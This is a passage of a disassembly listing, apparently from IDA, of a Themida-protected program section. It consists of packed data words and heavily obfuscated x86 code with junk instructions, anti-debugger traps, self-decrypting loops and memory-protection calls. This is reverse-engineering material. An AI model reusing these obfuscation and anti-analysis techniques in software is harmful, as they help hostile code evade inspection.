4276B645h, 0D6B32514h, 0B2C63501h, 0D63F1E30h dd 0DBF3D09Eh, 0D7AC298Bh, 831442DFh, 15E6081Ah, 0FB1BF492h dd 0FC1628C3h, 92C0071Fh, 2F38F620h, 13EC3EC1h, 0C720BBF3h dd 4D66EFB5h, 78166648h, 0AD48809Eh, 0F492C69Bh, 7D9BFB1Bh dd 0E728ACF2h, 7B4C6E80h, 5FE59A95h, 2A5BE5h, 4D840000h dd 921F6648h, 42A06E15h, 3C83EC14h, 7D563992h, 5270165Dh dd 88C0D6B4h, 0A7BEE2E6h, 90E9039Bh, 389EA97Eh, 2D000000h dd 1666484Dh, 4A829C78h, 92C89DAFh, 0C3FB1BF4h, 0C80018F5h dd 0E4C2D42Dh, 42A09067h, 0CF16FD14h, 7D563992h, 2EAB0D5Dh dd 1442A049h, 9DD5EDCAh, 3648B102h, 565B7061h, 5B296179h dd 0BDD3677Dh, 0E390C8E0h, 1442A01Ah, 9689BD94h, 0F70DA1B9h dd 38CA021Ah, 3F5F38D6h, 42A02FD4h, 4D3BAB14h, 0AB9BC27h dd 9BC6D831h, 0D292F7A4h, 0E2768E6Bh, 92E2CCC3h, 0A6419715h dd 447CE513h, 0A656E497h, 12526313h, 771B956Ah, 8A6503D8h dd 2FBD5C6Eh, 0E6000000h, 0FC1AF492h, 0DBF3D0EAh, 3DAF11A3h dd 36E19A6Eh, 0F68DF8E0h, 64144224h, 0BF0E9FBh, 0A3144224h dd 0C8A598CCh, 0E9C260B0h, 0E4F691C9h, 7956F1C2h, 0A016ED6Ah dd 5BC41442h, 9CF3CA02h, 9145C212h, 4313AB08h, 0FA6C46DAh dd 70D78AEAh, 0E90C1E11h, 56B808A6h, 0DAFF19E4h, 64B4DA00h dd 0ABBA10E7h, 4355BE13h, 4F914C4Ah, 79B11A14h, 730885E7h dd 0DF1B8FE6h, 0F70BEA76h, 0E613ECE5h, 0A7B81B8Fh, 0DD5ABCFFh dd 1B8FE626h, 5E394BB4h, 0D08ECBA1h, 657B59F7h, 1CB453h dd 4DDD0000h, 9A176747h, 1442A0F5h, 66C81881h, 0C2D4EAC8h dd 1EB2CCA8h, 1250h, 474DDF00h, 0F19A1767h, 7D1442A0h dd 4A26C414h, 9ECB9C30h, 19Bh, 69454D2Dh, 0A618AA22h, 4D698C24h dd 380D1FB8h, 532E7956h, 4E97DE37h, 0E59A957Dh, 465BE55Fh dd 84000000h, 115F492h, 0E8C6CCEFh, 6E1592A1h, 0EC1442A0h dd 6D527550h, 0F42A0A85h, 458CE53Eh, 30CE3092h, 65003856h dd 42A005FAh, 0DC68D114h, 0FED3E501h, 19607A56h, 0B7342092h dd 9976BF6Dh, 9E728787h, 57h, 1BF4922Dh, 9DD5E9C8h, 0D671A902h dd 0BDF1A1C4h, 83209276h, 5605BCF2h, 2B8D6B7Dh, 5A8DB48Dh dd 43826D52h, 0F8F1035Ch, 1442A403h, 0B957A78Eh, 0D9AEC0E0h dd 20923992h, 0E6127BD9h, 0DEF80AFFh, 92A1E802h, 0EE0016F4h dd 0F16ED0EEh, 1442A00Ah, 4596B28Dh, 56F5CADCh, 0AA1A6179h dd 66484D21h, 927D4E1Fh, 9DFD19F4h, 52FFDBCCh, 633E505Fh dd 0E55F5ECCh, 3A49h, 484D7200h, 15921F66h, 1442A06Eh dd 953383ECh, 0CC679FB9h, 3992E5BAh, 115F492h, 21C2EC9h dd 92C20929h, 880A4F20h, 7B8D517Dh, 0E2BF5D7Bh, 0E5F792CAh dd 209E10h, 4D2D0000h, 921F6648h, 42A06E15h, 7DC4AB14h dd 0B4923092h, 0BB98669Eh, 63384AA3h, 165D7D56h, 0F4925B70h dd 0F388051Ah, 5F1442A0h, 0D04D9DF6h, 1442A02Bh, 122C3EA7h dd 39E61E34h, 1442A047h, 0A3DBF7D2h, 0FCFD0101h, 490B298h dd 99D81026h, 0BEDE92D2h, 3816093Dh, 2F60D222h, 8C59E8DFh dd 96A35222h, 4311D736h, 0C08176F3h, 0E44D1442h, 64D6B0D2h dd 0D9F0AA2Fh, 359FB2FAh, 0DB66A303h, 56C59AACh, 5C2A6278h dd 0F230687Eh, 24027D29h, 0BB857A0Eh, 911442AAh, 5C12BA44h dd 0FE4719E0h, 7742FFFFh, 1442A084h, 42A0CF30h, 0A0956914h dd 5A251442h, 0DE1442A0h, 1442A01Dh, 42A0E497h, 456926D4h dd 1CF593F5h, 19F6C4FCh, 0D52EC901h, 8C63CAC3h, 8EF0D3A5h dd 0A58C6A11h, 0CAF7D9D3h, 0E4CFA0A2h, 5DDA2A93h, 0D3A525A6h dd 0DAB9CB34h, 2D623971h, 5DCF3181h, 3AA9E8F6h, 817A8C97h dd 0D441502Bh, 0F96CC029h, 4AA233DDh, 25E840Ah, 0AD850000h dd 8E1F78Bh, 623E54E8h, 0BF9EB448h, 260117ABh, 579D760Ah dd 730723FEh, 0D165835Dh, 33C7DDBBh, 9428401Dh, 0CFB431E1h dd 8B13AB10h dd 7956B746h, 98731161h, 97A9447Ch, 1295FAD1h, 30443427h dd 532CB869h, 760FB33h, 0DEB755B7h, 0EFB3ACBEh, 0AE13AB48h dd 91B3310h, 617ABA2Ah, 90C8DCBBh, 0BB9C95F5h, 0FFD96DC6h dd 30688861h, 0F18A8395h, 5E13AB35h, 0EAEF19ECh, 66C707FAh dd 6394F483h, 56798B62h, 0A8257539h, 14427B04h, 0F795E54Eh dd 40B2021Ah, 0DDDEA065h, 658799BDh, 0A5A724Fh, 66788E6Ch dd 5E00F3A0h, 58A1B91h, 0CDC59A9h, 0DF1C78F6h, 75A3A26Dh dd 0EE006916h, 0B856A60Fh, 192FC3DBh, 15EC243Ch, 72E4347Ah dd 70A562Dh, 2B091B9Fh, 1693E6AEh, 0B43AC04h, 3535B34h dd 0C432286h, 77C7300Ch, 94E4FCD9h, 0C90119F6h, 0E4FA1C2Eh dd 0C6E0BC07h, 0F788356Dh, 1733D256h, 69E63678h, 343A0EB1h dd 0EBC2FA63h, 0E1FBD7A4h, 65B50EA9h, 0DC1A12E8h, 357C03Ch dd 3AA12B6Ch, 3525ABEBh, 0AE000001h, 0A20B4D6h, 677D1131h dd 0C7DD718Bh, 2A40D4E8h, 0C69F334Fh, 304C2720h, 8EAC869Ch dd 0F006E4FAh, 5169465Ch, 0DD5A0ABDh, 13AB1126h, 4DE06FB4h dd 9F1C6C42h, 13AB08FBh, 21F83099h, 73F0406Eh, 144F00F9h dd 263E1BB7h, 3A0079CDh, 2B6B6232h, 0DFA5h, 0A2C0400h dd 67876076h, 0C7E1BDD3h, 2A3E1D33h, 89A58096h, 7DD61CF5h dd 0DCF286A2h, 3A50E402h, 9CB2465Ch, 6013A7BFh, 114C33B0h dd 0C50A13ABh, 15F49236h, 0A0F68D0Ah, 0FB641442h, 0BDCF6AA2h dd 69B9F59Ah, 0AB083CECh, 3585EE13h, 8C9EBE97h, 0FC1BF8C6h dd 0BDE2ABF1h, 0D8288178h, 0E465C3Ah, 293F6173h, 9E802D4Ch dd 0D4BB2ED3h, 236C437Bh, 0EEBE3B8Bh, 641442E6h, 785167FBh dd 906A0858h, 283E6072h, 889E324Ch, 0EB0195A9h, 42A4F410h dd 91283EC5h, 21339C1Bh, 0F20EE9FFh, 506E485Eh, 0B2C8A6BCh dd 132B081Eh, 718F697Fh, 0DDD1BEDDh, 8FBC108Dh, 19B71C78h dd 4DE82040h, 0E2C05C3Bh, 6D3B73CCh, 0AE47890h, 68468D6Ch dd 26C1F952h, 0A4214h, 2AC80000h, 5EF93151h, 3E8D774Ch dd 245C7E56h, 29617956h, 2F677D5Bh, 31698761h, 346C8863h dd 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h, 0E18951EEh dd 4C181h, 0E9830000h, 240C8704h ; --------------------------------------------------------------------------- mov esp, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 1815h mov [esp], ebp push ebp push 74B2147h pop ebp neg ebp add ebp, 0F34C9A2h mov edx, ebp mov ebp, [esp] add esp, 4 push esp mov ebp, [esp] add esp, 4 push 2017h mov [esp], ebx mov ebx, 8 add ebx, ebp mov [ebx], edx pop ebx mov ebp, [esp] push esi mov esi, esp loc_5DD7A6: ; CODE XREF: Themida_:005DD7CCj add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58A287 ; --------------------------------------------------------------------------- jnp short loc_5DD7A6 mov dh, bl loc_5DD7D0: ; CODE XREF: Themida_:005DCCC3j mov eax, 7E9B2B2h add eax, ebp loc_5DD7D7: ; CODE XREF: Themida_:loc_5DCCBEj mov eax, ebx jmp loc_5DD9A6 ; --------------------------------------------------------------------------- dd offset dword_418750+138h dd offset dword_418750+138h dd offset dword_418750+138h dd offset dword_418750+138h dd offset dword_418750+138h dd offset dword_418750+138h dd offset dword_418750+138h dd offset dword_418750+138h align 10h dd 3 dup(0) dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h dd 11118888h, 16441111h, 0 dd 8800h, 88888800h, 0 dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0 dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h dd 16E6FFFFh, 16FA0040h, 40h, 0 dd 30000h, 14h dup(0) dd 8C20000h, 75726600h, 0FE80h, 11h dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5DD9A6: ; CODE XREF: Themida_:005DD7D9j jmp loc_5DDCFE ; =============== S U B R O U T I N E ======================================= sub_5DD9AB proc near ; DATA XREF: Themida_:005844C8o push ebp call $+5 pop ebp sub ebp, 7E9B526h pusha mov dword ptr [ebp+7E9B473h], 0 cmp word ptr [esi], 0A166h jnz loc_5DD9DD mov dword ptr [ebp+7E9B477h], 6 jmp loc_5DDA01 ; --------------------------------------------------------------------------- loc_5DD9DD: ; CODE XREF: sub_5DD9AB+1Dj lea eax, [ebp+7E9B47Bh] push eax lea eax, [ebp+7E9B4CBh] push eax push esi push 0 call sub_5DDA10 add esp, 10h and eax, 0FFh mov [ebp+7E9B477h], eax loc_5DDA01: ; CODE XREF: sub_5DD9AB+2Dj popa add esi, [ebp+7E9B477h] mov eax, [ebp+7E9B473h] pop ebp retn sub_5DD9AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5DDA10 proc near ; CODE XREF: sub_5DD9AB+43p var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_7E9B46B = dword ptr 7E9B473h push ebp mov ebp, esp push ecx push ecx and [ebp+var_5], 0 and [ebp+var_6], 0 xor dl, dl and [ebp+var_1], dl cmp [ebp+arg_0], 0 jz loc_5DDA3D mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh mov [ebp+var_2], 1 jmp loc_5DDA49 ; --------------------------------------------------------------------------- loc_5DDA3D: ; CODE XREF: sub_5DDA10+16j and [ebp+var_3], 0 and [ebp+var_2], 0 mov [ebp+var_4], 4 loc_5DDA49: ; CODE XREF: sub_5DDA10+28j push ebx push esi push edi loc_5DDA4C: ; CODE XREF: sub_5DDA10+91j ; sub_5DDA10+ADj ... mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5DDA5F: ; CODE XREF: sub_5DDA10+76j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 7E9B5DDh lea ebp, [ebp+7E9B453h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5DDA8C inc cl cmp cl, 0Bh jb loc_5DDA5F loc_5DDA8C: ; CODE XREF: sub_5DDA10+6Bj cmp cl, 0Bh jz loc_5DDAE9 cmp al, 66h jnz loc_5DDACA cmp [ebp+var_5], 0 jnz loc_5DDA4C cmp [ebp+var_3], 0 mov [ebp+var_5], 1 jnz loc_5DDAC2 mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh jmp loc_5DDA4C ; --------------------------------------------------------------------------- loc_5DDAC2: ; CODE XREF: sub_5DDA10+9Fj and [ebp+var_3], 0 mov [ebp+var_4], 4 loc_5DDACA: ; CODE XREF: sub_5DDA10+87j cmp al, 67h jnz loc_5DDA4C cmp [ebp+var_6], 0 jnz loc_5DDA4C xor [ebp+var_2], 1 mov [ebp+var_6], 1 jmp loc_5DDA4C ; --------------------------------------------------------------------------- loc_5DDAE9: ; CODE XREF: sub_5DDA10+7Fj mov ebx, [ebp+arg_C] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5DDB15 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5DDB1A ; --------------------------------------------------------------------------- loc_5DDB15: ; CODE XREF: sub_5DDA10+E4j movzx edi, al shr edi, 1 loc_5DDB1A: ; CODE XREF: sub_5DDA10+100j push ebp call $+5 pop ebp sub ebp, 7E9B695h lea ebp, [ebp+7E9B353h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp+var_7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp+var_6], bl jz loc_5DDC9C mov ebx, [ebp+arg_4] mov byte ptr [ebp+arg_0+3], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov byte ptr [ebp+arg_C+3], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz [ebp+var_5] shr ecx, 6 sub ecx, 0 jz loc_5DDBE0 dec ecx jz loc_5DDBC3 dec ecx jnz loc_5DDC33 cmp [ebp+var_2], 0 jnz loc_5DDC2F cmp [ebp+var_5], 0 jz loc_5DDBA2 mov byte ptr [ebp+arg_0+3], 2 loc_5DDBA2: ; CODE XREF: sub_5DDA10+188j add byte ptr [ebp+arg_0+3], 4 push ebp call $+5 pop ebp sub ebp, 7E9B721h mov [ebp+arg_7E9B46B], 1 pop ebp jmp loc_5DDC33 ; --------------------------------------------------------------------------- loc_5DDBC3: ; CODE XREF: sub_5DDA10+16Dj cmp [ebp+var_2], 0 jnz loc_5DDC0D cmp [ebp+var_5], 0 jz loc_5DDC0D mov byte ptr [ebp+arg_0+3], 2 jmp loc_5DDC0D ; --------------------------------------------------------------------------- loc_5DDBE0: ; CODE XREF: sub_5DDA10+166j cmp [ebp+var_2], 0 jnz loc_5DDC26 cmp [ebp+var_5], 0 jz loc_5DDC15 movzx ecx, byte ptr [ebp+arg_C+3] mov edx, [ebp+arg_4] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5DDC0D mov byte ptr [ebp+arg_0+3], cl loc_5DDC0D: ; CODE XREF: sub_5DDA10+1B7j ; sub_5DDA10+1C1j ... inc byte ptr [ebp+arg_0+3] jmp loc_5DDC33 ; --------------------------------------------------------------------------- loc_5DDC15: ; CODE XREF: sub_5DDA10+1DEj cmp dl, 5 jnz loc_5DDC33 mov byte ptr [ebp+arg_0+3], dl jmp loc_5DDC33 ; --------------------------------------------------------------------------- loc_5DDC26: ; CODE XREF: sub_5DDA10+1D4j cmp dl, 6 jnz loc_5DDC33 loc_5DDC2F: ; CODE XREF: sub_5DDA10+17Ej mov byte ptr [ebp+arg_0+3], 3 loc_5DDC33: ; CODE XREF: sub_5DDA10+174j ; sub_5DDA10+1AEj ... dec byte ptr [ebp+arg_0+3] jz loc_5DDC61 movzx ecx, byte ptr [ebp+arg_0+3] mov [ebp+arg_0], ecx loc_5DDC43: ; CODE XREF: sub_5DDA10+249j movzx esi, byte ptr [ebp+arg_C+3] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] inc byte ptr [ebp+arg_C+3] dec [ebp+arg_0] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5DDC43 mov esi, edx loc_5DDC61: ; CODE XREF: sub_5DDA10+226j and al, 0FEh cmp al, 0F6h jnz loc_5DDC96 cmp edi, 7Fh ja loc_5DDC96 test bl, 38h jnz loc_5DDC96 cmp [ebp+var_7], 0 jz loc_5DDC90 movzx eax, [ebp+var_4] jmp loc_5DDC93 ; --------------------------------------------------------------------------- loc_5DDC90: ; CODE XREF: sub_5DDA10+271j push 1 pop eax loc_5DDC93: ; CODE XREF: sub_5DDA10+27Bj mov [ebp+var_1], al loc_5DDC96: ; CODE XREF: sub_5DDA10+255j ; sub_5DDA10+25Ej ... mov dl, byte ptr [ebp+arg_C+3] mov bl, [ebp+var_6] ; CODE XREF: Themida_:005DDD15j loc_5DDC9C: ; CODE XREF: sub_5DDA10+136j mov al, bl and eax, 7 sub eax, 4 jz loc_5DDCC7 dec eax dec eax jz loc_5DDCBD and bl, 7 add [ebp+var_1], bl jmp loc_5DDCCF ; --------------------------------------------------------------------------- loc_5DDCBD: ; CODE XREF: sub_5DDA10+29Cj mov al, [ebp+var_3] add al, 6 jmp loc_5DDCCC ; --------------------------------------------------------------------------- loc_5DDCC7: ; CODE XREF: sub_5DDA10+294j mov al, [ebp+var_3] add al, 4 loc_5DDCCC: ; CODE XREF: sub_5DDA10+2B2j add [ebp+var_1], al loc_5DDCCF: ; CODE XREF: sub_5DDA10+2A8j mov al, [ebp+var_1] dec [ebp+var_1] test al, al jz loc_5DDCF7 movzx ecx, [ebp+var_1] inc ecx loc_5DDCE2: ; CODE XREF: sub_5DDA10+2E1j mov edi, [ebp+arg_4] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5DDCE2 loc_5DDCF7: ; CODE XREF: sub_5DDA10+2C7j pop edi pop esi mov al, dl pop ebx leave retn sub_5DDA10 endp ; --------------------------------------------------------------------------- loc_5DDCFE: ; CODE XREF: Themida_:loc_5DD9A6j lea eax, [ebp+7E9B520h] mov [ebp+7E4203Dh], eax ; CODE XREF: Themida_:005DDD54j call near ptr loc_5DDD11+3 mov ch, 28h loc_5DDD11: ; CODE XREF: Themida_:005DDD0Ap rcr byte ptr cs:[edx], 80h jecxz short near ptr loc_5DDC99+2 ; CODE XREF: Themida_:005DDD51j pop eax add eax, 6DEBh pusha jnp loc_5DDD2A sub cx, 3318h loc_5DDD2A: ; CODE XREF: Themida_:005DDD1Fj mov cx, si popa push 0 sbb bl, 0B9h pop esi mov ch, 5Fh loc_5DDD39: ; CODE XREF: Themida_:005DDDA5j push dword ptr [esi+eax] call near ptr loc_5DDD54+1 or [edx], edi jnp short near ptr loc_5DDD6A+2 xchg bl, [ebx-26BAB884h] mov cl, 0ADh lodsb inc ebx int 3 ; Trap to Debugger lodsb lock jge short near ptr loc_5DDD15+1 loc_5DDD54: ; CODE XREF: Themida_:005DDD3Cp jb short near ptr loc_5DDD04+4 mov cl, 5Ah pop edi movzx ecx, dx xor edi, 541CD9F6h mov bh, 41h xor edi, 5BD56E35h loc_5DDD6A: ; CODE XREF: Themida_:005DDD43j jmp loc_5DDD80 ; --------------------------------------------------------------------------- db 0B4h dd 9453EA9Dh, 0B5DF6F66h, 25AA1C3Dh, 0A415E232h ; --------------------------------------------------------------------------- loc_5DDD80: ; CODE XREF: Themida_:loc_5DDD6Aj sub edi, 3D1BF44Ch mov ecx, 5197BD08h push edi mov cx, 5F88h pop dword ptr [eax+esi] and cl, 0Ah sub cx, 8F6Ch sub esi, 4 cmc cmp esi, 0FFFF92B0h jnz loc_5DDD39 movsx ecx, si jmp loc_5DE019 ; --------------------------------------------------------------------------- pusha mov cx, ds test cl, 4 jz loc_5DDDF5 push 1 push dword ptr [ebp+7E4019Dh] lea eax, [ebp+7E7B0A7h] call eax mov [ebp+7E40FA5h], eax mov edi, esi shr edi, 0Ch push 20060000h push 0 push 2 push edi push 1000Dh call dword ptr [ebp+7E40FA5h] jmp loc_5DDE27 ; --------------------------------------------------------------------------- loc_5DDDF5: ; CODE XREF: Themida_:005DDDBAj mov byte ptr [ebp+7E42C2Dh], 56h push 0A9C530DFh push dword ptr [ebp+7E42141h] lea eax, [ebp+7E7B0A7h] call eax mov [ebp+7E40B5Dh], eax lea eax, [ebp+7E41CE5h] push eax push 40h push 5 push esi call dword ptr [ebp+7E40B5Dh] loc_5DDE27: ; CODE XREF: Themida_:005DDDF0j popa retn ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5DDE35: ; DATA XREF: Themida_:005848E0o push edx mov edx, esp pusha mov eax, [edx+8] mov [ebp+7E9B9A6h], eax mov eax, [edx+0Ch] mov [ebp+7E9B99Eh], eax mov eax, [edx+10h] mov [ebp+7E9B9A2h], eax lea esi, [ebp+7E9B9DCh] lea eax, [ebp+5B8EA1h] call eax popa pop edx retn 0Ch ; --------------------------------------------------------------------------- mov esi, [ebp+7E9B9A6h] mov eax, [ebp+7E9B99Eh] cmp dword ptr [ebp+7E9B9A2h], 0 jz loc_5DDE87 mov [esi], eax jmp locret_5DDE89 ; --------------------------------------------------------------------------- loc_5DDE87: ; CODE XREF: Themida_:005DDE7Aj mov [esi], al locret_5DDE89: ; CODE XREF: Themida_:005DDE82j iret ; --------------------------------------------------------------------------- align 4 dd 0 db 2 dup(0) aRlLbIejSNSNebo db 'RΤ`B',8,' ¦Ήι',7,'΅-Ίι',7,' ‘[',0 ; DATA XREF: Themida_:0058488Co ; --------------------------------------------------------------------------- call eax popa pop edx mov eax, [ebp+7E9B9A6h] retn 4 ; --------------------------------------------------------------------------- dd 0B9A6858Bh, 8B07E9h, 0B9A68589h, 0CF07E9h, 60000000h dd 0BA03B589h, 858907E9h, 7E9B9FFh, 2E5858Dh, 408B07E4h dd 3C858944h, 8D07E9BAh, 0E9BA72B5h, 0A1858D07h, 0FF005B8Eh dd 858B61D0h, 7E9BA03h, 0FF9D8BC3h, 0F07E9B9h, 33C43B7h dd 785B8BD8h, 0B9FF9D03h, 738B07E9h, 0FFB50324h, 5607E9B9h dd 8B207B8Bh, 0BD031C73h, 7E9B9FFh, 0B9FFB503h, 83FC07E9h dd 8B41FFC9h, 0E9BA039Dh, 3178B07h, 0E9B9FF95h, 4C78307h dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh dd 386048Bh, 0E9B9FF85h, 3858907h, 8B07E9BAh, 8BCE8BF0h dd 3CBD81C1h, 7E9BAh, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 7E9BA3Ch dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 3CBD8100h dd 7E9BAh, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h dd 80h, 1E840Fh, 0BD810000h, 7E9BA3Ch, 0C0300000h, 0E840Fh dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h db 0CFh ; --------------------------------------------------------------------------- loc_5DE019: ; CODE XREF: Themida_:005DDDAEj lea eax, [ebp+7E9B9AAh] mov [ebp+7E42455h], eax lea eax, [ebp+7E9BA40h] mov [ebp+7E40A89h], eax lea eax, [ebp+7E9BA07h] mov [ebp+7E42401h], eax jmp loc_5DE17E ; --------------------------------------------------------------------------- align 4 dd 4Eh dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5DE17E: ; CODE XREF: Themida_:005DE03Dj cmp dword ptr [ebp+7E40101h], 1 jz loc_5DE5E9 jg loc_5DE1A3 js loc_5DE1A3 jmp loc_5DE1A3 ; --------------------------------------------------------------------------- xchg eax, esp imul dword ptr [ecx-6386C2C0h] loc_5DE1A3: ; CODE XREF: Themida_:005DE18Bj ; Themida_:005DE191j ... mov byte ptr [ebp+7E42C2Dh], 43h push 0 push edx call sub_5DE1B5 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DE1B5 proc near ; CODE XREF: Themida_:005DE1ADp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5DE1B5 endp ; --------------------------------------------------------------------------- db 0B5h, 0B8h, 66h dd 0AF83E58Bh, 850FFE6Ah, 1Dh, 12E860h, 0F5150000h, 4B2F21E3h dd 8137E2B4h, 0B194851h, 1ECEDD81h, 0C7BF0F5Bh, 0CB66061h dd 9E8h, 9F9A8800h, 0AF3DE51h, 5E82AFFh, 67000000h, 6AC05EAAh dd 68615958h, 880DFD76h, 0E8605250h, 7, 367380EEh, 5B944ADEh dd 60310F61h, 5CABE66h, 81585A61h, 2D832434h, 6A64A8h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0E98D8CC3h, 0Ah, 0DD951A37h, 7DCE7Ah, 0B5FF66D9h, 7E42141h dd 0CE9h, 0EEFA9400h, 6E60BFC8h, 819096E0h, 0A7858DF4h dd 6A07E7B0h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 4F92C356h, 5D4E1BC6h, 0F8D0FFF8h dd 9558589h, 0C6F907E4h, 0E42C2D85h, 53605007h, 0BE8h dd 4E6F6F00h, 64C14829h, 6047B113h, 0D1815E5Eh, 1661D5E2h dd 0BAF56861h, 52505CB9h, 0E8DAB260h, 8, 5A44D694h, 393F35FBh dd 310F615Bh, 7E9h, 0AF52F400h, 0E99D6D63h, 481585Ah, 0F3F26124h dd 18F0F4Bh, 0F9000000h, 2141B5FFh, 840F07E4h, 16h, 11E9h dd 1830D400h, 8213DFDDh, 4D264B51h, 82B6FEF6h, 858DEAD6h dd 7E7B0A7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0D7C35747h, 0FFDB3812h, 8589FCD0h, 7E41E79h, 9E9h dd 4E929C00h, 4786AB76h, 576841FFh, 0E9EDA8A7h, 14h, 0AD58DF9Ch dd 181CEB4Dh, 0AEF3A229h, 354CAC48h, 583351DAh, 0D8240481h dd 0F02E700h, 18Ah, 0B5FFF900h, 7E42141h, 6E860h, 9C0E0000h dd 17E9ADDCh, 5B32E180h, 1870F61h, 0FC000000h, 0B0A7858Dh dd 0FFFC07E7h, 0AE9D0h, 0AD150000h, 0AA49B4C8h, 877672E0h dd 13BD8589h, 0C6F907E4h, 0E42C2D85h, 68F55007h, 9EDEBAAEh dd 5E515660h, 3481615Bh, 4266F824h, 108D0F09h, 0E9000000h dd 0Bh, 147601A4h, 0FFA17A9h, 0FF55B386h, 0E4019DB5h, 0F576007h dd 80h, 80605F00h, 6161E6F5h, 3BDC858Dh, 6A07E4h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0BF33BEC3h, 0E83FDE65h, 11E9h, 9DE65400h, 1CADE154h dd 174CA6FAh, 0D39DDF87h, 0D0FFBF86h, 33D28160h, 0E91D98FDh dd 8, 0C884030Bh, 0FDD03165h, 0B9858961h, 6007E418h, 6135B6F9h dd 174E9h, 88A0F00h, 60000000h, 0B966E8B4h, 50618190h dd 13E9h, 8CBE2500h, 53100136h, 74ACD05Ah, 0CA232565h dd 0C5545175h, 0F8242C89h, 6AEC8Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 4D8363C3h dd 0F880F71h, 0E9000000h, 0Ah, 2459909Eh, 4C4B8793h, 83F8C18Ah dd 6AFCC4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0E4B3E7C3h, 15088E67h, 8A0F20B2h, 0Ah, 81DA8A60h dd 6D262FD1h, 0F606102h, 183h, 0E8F900h, 5A000000h, 0C090EA81h dd 45C707E9h, 0FCh, 1BA8300h, 107E401h, 98840Fh, 6A520000h dd 0FF0F6A00h, 0E4095592h, 82895A07h, 7E9BBB7h, 0BBBB9A8Dh dd 0C75207E9h, 12803h, 0FF505300h, 0E41E7992h, 8D525A07h dd 0E9BBBB9Ah, 0B2FF5307h, 7E9BBB7h, 18B992FFh, 0B5A07E4h dd 8D5074C0h, 0E9BBBB9Ah, 247B8D07h, 0F981C933h, 104h dd 8141D474h, 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h dd 7E427BDh, 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 27BD828Dh dd 0FF5007E4h, 0E413BD92h, 0C00B5A07h, 45C7A075h, 1FCh dd 0C707EB00h, 0FC45h, 8B610000h, 0C2C9FC45h, 8B0F0008h dd 1, 7E9F5h, 1D660000h, 0B8E4F603h ; --------------------------------------------------------------------------- lahf loc_5DE5E9: ; CODE XREF: Themida_:005DE185j mov edx, edx call near ptr loc_5DE5F0+5 loc_5DE5F0: ; CODE XREF: Themida_:005DE5EBp xor cl, [edi-7F53F781h] fild qword ptr [ecx+5Eh] mov di, si add esi, 710Ch mov bx, dx mov edx, 1C19h mov edi, eax ; START OF FUNCTION CHUNK FOR sub_5DE66B loc_5DE60C: ; CODE XREF: sub_5DE66B:loc_5DE68Dj push dword ptr [esi] pop eax mov ecx, 38C1FC0Fh sub eax, 765F9D4Bh mov ecx, edx sub eax, 1BE8DEE4h call sub_5DE62F test [esi], esi enter 2097h, 0EFh cmpsb outsd ; END OF FUNCTION 